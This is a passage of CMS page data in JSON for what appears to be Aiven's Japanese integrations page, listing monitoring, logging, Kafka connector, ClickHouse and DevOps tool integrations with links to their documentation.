します。サービスをより詳細に監視したい場合は、サードパーティ機能の統合によりログやメトリクスをエクスポートしたり、Aivenで独自の監視ソリューションを構築したりすることができます。"}],"markDefs":[{"_key":"8cd386d0d33c","_type":"link","href":"https://help.aiven.io/en/articles/5234705-technical-emails"}],"style":"normal"}],"title":"お好みのツールでデータインフラの監視が可能","variant":"mediaRight"},{"_key":"40996d9a5e08","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"metrics","items":[{"_key":"a22fb31cadd1","_type":"cardItem","borderTopColor":{"_ref":"2ff15be3-e6a8-475d-a0b0-a4a5f0753b39","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://help.aiven.io/en/articles/5623801-getting-started-with-aiven-metrics-integrations","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"29f071e745e3","_type":"block","children":[{"_key":"a1e173d0abb40","_type":"span","marks":[],"text":"バックエンドのメトリクスを時系列データベース(M3DB、PG)に保存し、構築済みの(カスタマイズ可能な)Grafanaダッシュボードで可視化します"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Grafana® ダッシュボード","variant":"icon-card"}],"noSpaceBottom":true,"rounded":false,"subtitle":[{"_key":"b8f5309eb567","_type":"block","children":[{"_key":"762a90d4e4830","_type":"span","marks":[],"text":"メトリクスを統合することでサービスを制御し、消費(ディスク、RAM、ネットワーク)にピークがないことを確認できます。"}],"markDefs":[],"style":"normal"},{"_key":"2954b89622e5","_type":"block","children":[{"_key":"577ca2e31cf0","_type":"span","marks":[],"text":"Aivenソリューション"}],"markDefs":[],"style":"h3"},{"_key":"46c508083fd0","_type":"block","children":[{"_key":"c90b4a84ebbf0","_type":"span","marks":[],"text":"Aivenのツールで独自の監視ソリューションを構築し、事前に構築したGrafanaダッシュボードでメトリクスを収集・分析できます。"}],"markDefs":[],"style":"normal"}],"title":"メトリクス"},{"_key":"95155e591c08","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"b96629b93482","_type":"cardItem","borderTopColor":{"_ref":"97591528-a57b-42c3-9ed0-029f1bc27781","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/integrations/datadog/datadog-metrics.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"9da261b672cc","_type":"block","children":[{"_key":"ca3197983db20","_type":"span","marks":[],"text":"サービスメトリクスを外部のDatadogエンドポイントに送信する"}],"markDefs":[],"style":"normal"}],"title":"Datadogのメトリクス","variant":"icon-card"},{"_key":"02d766e2788d","_type":"cardItem","borderTopColor":{"_ref":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/platform/howto/integrations/prometheus-metrics.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-9980731fef994f6b3eaae75f44d49c85b5e57008-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"f618a0d33754","_type":"block","children":[{"_key":"565e034de2990","_type":"span","marks":[],"text":"サービスメトリクスを外部のPrometheusエンドポイントに公開する"}],"markDefs":[],"style":"normal"}],"title":"Prometheus","variant":"icon-card"},{"_key":"c688dff18c38","_type":"cardItem","borderTopColor":{"_ref":"702fd555-d5be-4c9a-907b-4a9e8e5f4a89","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://help.aiven.io/en/articles/2684968-accessing-jmx-metrics-via-jolokia","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-ecdcd916ca571e2afc90fc682dda9b08d68e07c7-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"06a6c4fdf9bf","_type":"block","children":[{"_key":"1d36021ef3890","_type":"span","marks":[],"text":"サービスメトリクスを外部のJolokiaエンドポイントに公開する"}],"markDefs":[],"style":"normal"}],"title":"Jolokia","variant":"icon-card"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"d5324bfad86b","_type":"block","children":[{"_key":"1ff984a5a7640","_type":"span","marks":[],"text":"外部機能の統合"}],"markDefs":[],"style":"h3"},{"_key":"69ef576dab80","_type":"block","children":[{"_key":"b0c5d965b5f80","_type":"span","marks":[],"text":"既存の監視スタックがありますか?サードパーティ機能との統合でメトリクスをエクスポートできます。"}],"markDefs":[],"style":"normal"}]},{"_key":"cbca04fc3e91","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59cc80b6b21b12885b128a2b846ab66188942dd5-1260x411-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-1616b0a41945c6451134ecfbd01b0c406a1eee91-982x627-png","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://help.aiven.io/en/articles/5623801-getting-started-with-aiven-metrics-integrations","title":"詳細はこちら"},"rounded":true,"text":[{"_key":"78b54bde9e5f","_type":"block","children":[{"_key":"4d3f786862bd0","_type":"span","marks":[],"text":"監視しているサービスのためのダッシュボードが用意されたGrafanaサービスをセットアップします。また、Aivenツールのパフォーマンスを監視することもできます。Aiven for M3、またはAiven for PostgreSQLを時系列バックエンドとして使用し、事前に用意されカスタマイズ可能なGrafanaダッシュボードを利用できます。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Grafana®ダッシュボード","variant":"mediaRight"},{"_key":"e06fd665539a","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"logs","items":[{"_key":"552057c9ed2a","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/opensearch/howto/opensearch-log-integration.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"091d41a0c907","_type":"block","children":[{"_key":"2dcba14347a20","_type":"span","marks":[],"text":"OpenSearchと統合しサービスログを監視します"}],"markDefs":[],"style":"normal"}],"title":"Aiven for OpenSearch®","variant":"icon-card"},{"_key":"f95360a95b9a785d88d43627e19fbd39","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/integrate-service-logs-into-kafka-topic.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"2e787d1c14c9","_type":"block","children":[{"_key":"27bb25836ee20","_type":"span","marks":[],"text":"サービスログをAiven for Apache Kafkaサービスまたは外部のApache Kafkaクラスタに送信し、ダウンストリーム処理用にアクセスできるようにします"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® ログ","variant":"icon-card"}],"noSpaceBottom":true,"rounded":false,"subtitle":[{"_key":"36e0db7e8660","_type":"block","children":[{"_key":"8952af3639610","_type":"span","marks":[],"text":"ログを監視することで、サービスの可視性を高め、メッセージを制御できます。問題が深刻化する前に、自動的にフラグを立てます。"}],"markDefs":[],"style":"normal"},{"_key":"eebd60574c5d","_type":"block","children":[{"_key":"45e295b8e9db0","_type":"span","marks":[],"text":"Aivenソリューション"}],"markDefs":[],"style":"h3"},{"_key":"892c438c646f","_type":"block","children":[{"_key":"21cd3f801de50","_type":"span","marks":[],"text":"Aivenのソリューションで、ログをより深く理解し、コントロールしてください。"}],"markDefs":[],"style":"normal"}],"title":"ログ"},{"_key":"61195102f255bd76586529e26b14bd7c","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"items":[{"_key":"552057c9ed2a","_type":"cardItem","borderTopColor":{"_ref":"37baf5a8-eb1c-419f-a157-dc0d3a3f1a03","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/integrations/rsyslog","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-552065517431fa19eb296d83ca7f19fb498bd3d1-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"e78ab0afd7ed","_type":"block","children":[{"_key":"6e60bfb4257f0","_type":"span","marks":[],"text":"サービスログをリモートのsyslogサービスに送信します"}],"markDefs":[],"style":"normal"}],"title":"Rsyslogカスタムエンドポイント","variant":"icon-card"},{"_key":"f95360a95b9a785d88d43627e19fbd39","_type":"cardItem","borderTopColor":{"_ref":"e386f4bc-05e3-4ff3-9fdc-706819367798","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/integrations/cloudwatch/list-cloudwatch-logs.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-b6dd9072ec8fd76dc39800c3d417eaf055a903c7-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"f5624f4e652a","_type":"block","children":[{"_key":"66ffedc68a4a0","_type":"span","marks":[],"text":"サービスログをAWS CloudWatchに送信し、保存、閲覧、アーカイブします"}],"markDefs":[],"style":"normal"}],"title":"AWS CloudWatch","variant":"icon-card"},{"_key":"4b080fadae4a64d505d36a1d0d994a84","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcs-sink-prereq.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-f15f4f9755bb1317f3d47ddd717f0d258996ead3-56x48-svg","_type":"reference"}},"subtitle":[{"_key":"31fd0c5e0446","_type":"block","children":[{"_key":"3a8fe5deb4520","_type":"span","marks":[],"text":"サービスログを外部のGoogle Cloud Loggingエンドポイントに送信します"}],"markDefs":[],"style":"normal"}],"title":"GCP Cloud Logging","variant":"icon-card"},{"_key":"2e69de1f93c2ed21f28b77b9d1359cc1","_type":"cardItem","borderTopColor":{"_ref":"97591528-a57b-42c3-9ed0-029f1bc27781","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/integrations/datadog/datadog-logs.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48-svg","_type":"reference"}},"subtitle":[{"_key":"d806daba3c1a","_type":"block","children":[{"_key":"d72ac4318a740","_type":"span","marks":[],"text":"Aiven Rsyslog統合を使用して、AivenのサービスからDatadogにログを送信します"}],"markDefs":[],"style":"normal"}],"title":"Datadogのログ","variant":"icon-card"},{"_key":"d805ec4b816d39dfd894a7bba9ec0a86","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://help.aiven.io/en/articles/3003760-external-elasticsearch-log-integration","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-0546055e4535c6e6c8bfb8bf169e2c9cda77902b-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"31b57d3b86e2","_type":"block","children":[{"_key":"8c1fe2f0eb680","_type":"span","marks":[],"text":"サービスログを外部のElasticsearchサービスに保存します"}],"markDefs":[],"style":"normal"}],"title":"外部のElasticsearch","variant":"icon-card"},{"_key":"3b6397bbf499ccc5d8ba83b27a49c6e2","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://help.aiven.io/en/articles/3003760-external-elasticsearch-log-integration","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"9c0573d0cbc6","_type":"block","children":[{"_key":"44eb28abd12f0","_type":"span","marks":[],"text":"サービスログを外部のOpenSearchサービスに保存します"}],"markDefs":[],"style":"normal"}],"title":"外部のOpenSearch","variant":"icon-card"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"5a0d68c6f713","_type":"block","children":[{"_key":"c2d9a449e81b0","_type":"span","marks":[],"text":"外部機能の統合"}],"markDefs":[],"style":"h3"},{"_key":"bb86dd62d6c9","_type":"block","children":[{"_key":"3743eaf294430","_type":"span","marks":[],"text":"サービスログを他のクラウドに送信し、処理します。"}],"markDefs":[],"style":"normal"}]},{"_key":"e92243988b5e190a56889dbf92248f96","_type":"textImage","addSpaceBottom":true,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-5ea184bad37acc7cded4b43bf3508b060b08d438-540x524-png","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/integrations/datadog","title":"ドキュメントを見る"},"rounded":true,"text":[{"_key":"92b87b5dac0b","_type":"block","children":[{"_key":"089a80e380390","_type":"span","marks":[],"text":"DatadogのダッシュボードにAivenのサービスを追加することで、クラウド全体を一か所で監視できます。必要に応じて、特定のサービスやリソースにカスタムタグを追加し、後でフィルタリングできます。"}],"markDefs":[],"style":"normal"},{"_key":"eca9c75215e4","_type":"block","children":[{"_key":"6b116929cda90","_type":"span","marks":["13adb025f876"],"text":"AivenのサービスにDatadogを統合する方法を動画でご覧ください"}],"markDefs":[{"_key":"13adb025f876","_type":"link","href":"https://www.youtube.com/watch?v=1-wRLhqEoqU"}],"style":"normal"}],"title":"Datadogにログとメトリクスを送信","variant":"mediaRight"},{"_key":"41a312bf2136","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"kafka-connectors","items":[{"_key":"327f69408f2d","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-27995708e6bffa0de4a88052aaa889f48495c396-58x58-svg","_type":"reference"}},"title":"PostgreSQL用Debeziumソースコネクタ","variant":"icon-card"},{"_key":"f37be4293657","_type":"cardItem","borderTopColor":{"_ref":"0fb6f6ab-4d26-47b1-81a2-4ec6bc768323","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/s3-sink-connector-aiven.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58-svg","_type":"reference"}},"title":"S3 sinkコネクタ","variant":"icon-card"},{"_key":"7504b21aabb3","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/gcp-bigquery-sink.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-71ab0a34ea1f6bba1f83d889e476b63ed34b61f4-48x48-svg","_type":"reference"}},"title":"BigQuery sinkコネクタ","variant":"icon-card"},{"_key":"f448f62a9db5","_type":"cardItem","borderTopColor":{"_ref":"15d1a407-85a4-498f-af4e-bcfcb2693707","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-connect/howto/opensearch-sink.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"title":"OpenSearch sinkコネクタ","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"cdaf43f0e1db","_type":"span","marks":[],"text":"オープンソースツールで "},{"_key":"57eccc93581b","_type":"span","marks":["360addfed635"],"text":"Aiven for Apache Kafka®"},{"_key":"1c9b4311f00d","_type":"span","marks":[],"text":" エコシステムを拡張し、ストリーミング統合、レプリケーション、変換の問題を解決します。"}],"markDefs":[{"_key":"360addfed635","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}}],"style":"normal"},{"_key":"76befbf91df7","_type":"block","children":[{"_key":"cc38c5533e7e0","_type":"span","marks":[],"text":"30以上のKafkaコネクタ"}],"markDefs":[],"style":"h3"},{"_key":"9fbc6a02be65","_type":"block","children":[{"_key":"b2673b79012d0","_type":"span","marks":[],"text":"あらゆるデータソースへの接続を可能にする "},{"_key":"b2673b79012d1","_type":"span","marks":["1a13816b4bcc"],"text":"Apache Kafka® コネクタ"}],"markDefs":[{"_key":"1a13816b4bcc","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"},{"_key":"05a685e0a07b","_type":"block","children":[{"_key":"7b842f469fb4","_type":"span","marks":[],"text":"全リストについては、"},{"_key":"cdf0fd9f65ae","_type":"span","marks":["53a203de1686"],"text":"AivenのApache Kafka® コネクタ"},{"_key":"a8d78242d0fc","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"53a203de1686","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins"}],"style":"normal"}],"title":"Apache Kafkaのエコシステムを拡張する"},{"_key":"833e6317d4808390a9c74b5858ffd276","_type":"textImage","addSpaceBottom":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-021a6f90ee428effcf3e1c8325ac90149cf45f0e-1590x1053-png","_type":"reference"}},"primaryCTA":{"_type":"link","internalLink":{"_ref":"1td7K8mcJVhl60ZTT80SIr","_type":"reference"},"title":"ブログを読む"},"rounded":true,"text":[{"_key":"e653d25487af","_type":"block","children":[{"_key":"ff74ebf5372c0","_type":"span","marks":[],"text":"必要なコネクタがリストにない場合は、セルフマネージド型Apache Kafka® Connectクラスタを作り、Aiven for Apache Kafka® に接続できます。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®で独自のコネクタを使用","variant":"mediaRight"},{"_key":"fc0053ebeaadbcd0d760a964bccbf693","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"kafka-connectors","items":[{"_key":"16e2831bfa6a","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-mirrormaker/getting-started.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"8f21b896ea24","_type":"block","children":[{"_key":"00fe18ffe5d30","_type":"span","marks":[],"text":"Kafkaクラスタ間のデータレプリケーション"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache® MirrorMaker 2","variant":"icon-card"},{"_key":"e4c26fe76fbee102aa95ab5d2acb31ba","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/enable-karapace.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"6b0604e361aa","_type":"block","children":[{"_key":"09b921c2a3860","_type":"span","marks":[],"text":"Apache Kafkaへのスキーマ管理とREST APIインターフェースの追加"}],"markDefs":[],"style":"normal"}],"title":"Karapace","variant":"icon-card"},{"_key":"98b294700ba376f9c5bfa1ab3d7e22f9","_type":"cardItem","borderTopColor":{"_ref":"d880fd1e-392c-4a05-9eb1-ecbbc93753b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/kafka-conduktor.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-a3c5d573540886a97db653a013033a354ab9996a-58x58-svg","_type":"reference"}},"subtitle":[{"_key":"34bd37d94647","_type":"block","children":[{"_key":"978b9589ebaf0","_type":"span","marks":[],"text":"WebインターフェースによるKafkaクラスタの運用と可視化"}],"markDefs":[],"style":"normal"}],"title":"Conduktor","variant":"icon-card"},{"_key":"6677c78554b5c3fb8b7936274ac77d00","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/flink/howto/connect-kafka.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48-svg","_type":"reference"}},"subtitle":[{"_key":"82697eb3396b","_type":"block","children":[{"_key":"4560dd58006c0","_type":"span","marks":[],"text":"SQLベースのストリーミングデータパイプラインの作成"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® \u0026 Aiven for Apache Flink®","variant":"icon-card"},{"_key":"764f25bd19bd","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","internalLink":{"_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},"title":"Read more"},"image":{"_type":"mainImage","alt":"klaw-logo","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"b2dde41e0a89","_type":"block","children":[{"_key":"b8cbee0cab4c0","_type":"span","marks":[],"text":"An open source data governance toolkit for Apache Kafka® Topic and schema governance for enterprises "}],"markDefs":[],"style":"normal"}],"title":"Klaw","variant":"icon-card"}],"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"10f581271d2b","_type":"block","children":[{"_key":"c475b861ba5d0","_type":"span","marks":[],"text":"Aiven for Apache Kafka® で使用するツール"}],"markDefs":[],"style":"h3"},{"_key":"55b16ab49959","_type":"block","children":[{"_key":"4728ca05bf5c1","_type":"span","marks":[],"text":"全リストについては、"},{"_key":"eb7789f3705e","_type":"span","marks":["08cb4b31c6a9"],"text":"Aiven for Apache Kafka® ツール"},{"_key":"78b471e64a9b","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"08cb4b31c6a9","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/list-tools"}],"style":"normal"}]},{"_key":"d71186175f758119c3e7a7e2355852ae","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-4039546f54e4ce9c686fbfd2f8c014866016a09e-1157x227-png","_type":"reference"}},"primaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/karapace","title":"Githubで見る"},"rounded":true,"text":[{"_key":"4ac37c426fa8","_type":"block","children":[{"_key":"8bed8be2c0210","_type":"span","marks":["f449da2e8882"],"text":"Karapace"},{"_key":"8bed8be2c0211","_type":"span","marks":[],"text":" は、Kafka RESTとSchema Registryのオープンソース実装です。Karapaceは、REST APIを使用したメッセージの生成と消費、Kafkaクラスタの管理を可能にします。Karapace Schemaレジストリの使用により、メッセージスキーマを作成し、管理し、進化させることができます。"}],"markDefs":[{"_key":"f449da2e8882","_type":"link","href":"https://karapace.io/"}],"style":"normal"}],"title":"Karapace","variant":"mediaRight"},{"_key":"c941b754e398ed8a1e757fd7fd188886","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"clickhouse","items":[{"_key":"4f999fc84727fa74044d50c834d636b0","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/clickhouse/howto/integrate-kafka","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"86ce57058dc9","_type":"block","children":[{"_key":"563ab1401f360","_type":"span","marks":[],"text":"Apache KafkaクラスタとClickHouseの高性能データウェアハウスを接続し、イベントのストリームをリアルタイムに取得し、永続的に保存し、大規模データセットに対する高速な分析クエリを実行します。また、必要に応じてClickHouseからApache Kafkaにデータを出力することもできます。"}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka®","variant":"icon-card"},{"_key":"d08d94f6761af9e39d32e7525437c809","_type":"cardItem","borderTopColor":{"_ref":"6c9703f3-6248-4f27-8400-291d66a3cc5e","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/postgresql/getting-started","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"cd302f6b06c0","_type":"block","children":[{"_key":"f998e3072d4b0","_type":"span","marks":[],"text":"Aiven for ClickHouseサービスとPostgreSQLデータベースを接続し、大量データの処理、分析クエリの高速処理、ClickHouseからPostgreSQLへのデータレポート収集が可能です。"}],"markDefs":[],"style":"normal"}],"title":"PostgreSQL®","variant":"icon-card"},{"_key":"c99c9c5de51d0e385d5fd64db2dc077e","_type":"cardItem","borderTopColor":{"_ref":"2ff15be3-e6a8-475d-a0b0-a4a5f0753b39","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/clickhouse/howto/connect-to-grafana","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"768896716e9b","_type":"block","children":[{"_key":"11aa644218fb0","_type":"span","marks":[],"text":"GrafanaでClickHouseのデータを可視化し、探索できます。"}],"markDefs":[],"style":"normal"}],"title":"GrafanaとClickHouseの組み合わせ","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"3432fb300620","_type":"block","children":[{"_key":"eb078f0ea463","_type":"span","marks":[],"text":"Aiven for ClickHouse® でデータソリューションを拡張し、高速な分析と効果的かつ効率的なストレージを実現することで、データソリューションを最大限に活用できます。"}],"markDefs":[],"style":"normal"}],"title":"ClickHouse®のエコシステムを拡大する"},{"_key":"531daac234d60b534618be19748e2fdf","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"devops","items":[{"_key":"ecc8161eb7ea","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/","title":"Aivenコンソールに移動します"},"image":{"_type":"mainImage","asset":{"_ref":"image-20b68bd321b470ed73d4bcf78d494a0db7dd7d08-48x48-svg","_type":"reference"}},"title":"Aiven Console","variant":"icon-card"},{"_key":"234935db6266e4b1ecac95dd43abe821","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/cli.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6e8a2350bcf84ecb711be4b33b72d1dcf5272fb8-48x48-svg","_type":"reference"}},"title":"Aiven CLI","variant":"icon-card"},{"_key":"13d1a0a5845d72517b949728100635a2","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/api","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-6ecd33d3211670069519e978eec3e5d284a33877-48x48-svg","_type":"reference"}},"title":"Aiven REST API","variant":"icon-card"},{"_key":"4f999fc84727fa74044d50c834d636b0","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/terraform","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48-svg","_type":"reference"}},"title":"Aiven Provider for Terraform","variant":"icon-card"},{"_key":"b42da4f2bf272525d927bb6335e274e7","_type":"cardItem","borderTopColor":{"_ref":"208391d6-8aef-4dd2-a370-4b96150945b5","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/tools/kubernetes.html","title":"ドキュメントを見る"},"image":{"_type":"mainImage","asset":{"_ref":"image-0f2e772df390ddcf99166e82de67909793dc48a6-48x48-svg","_type":"reference"}},"title":"Aiven Operator for 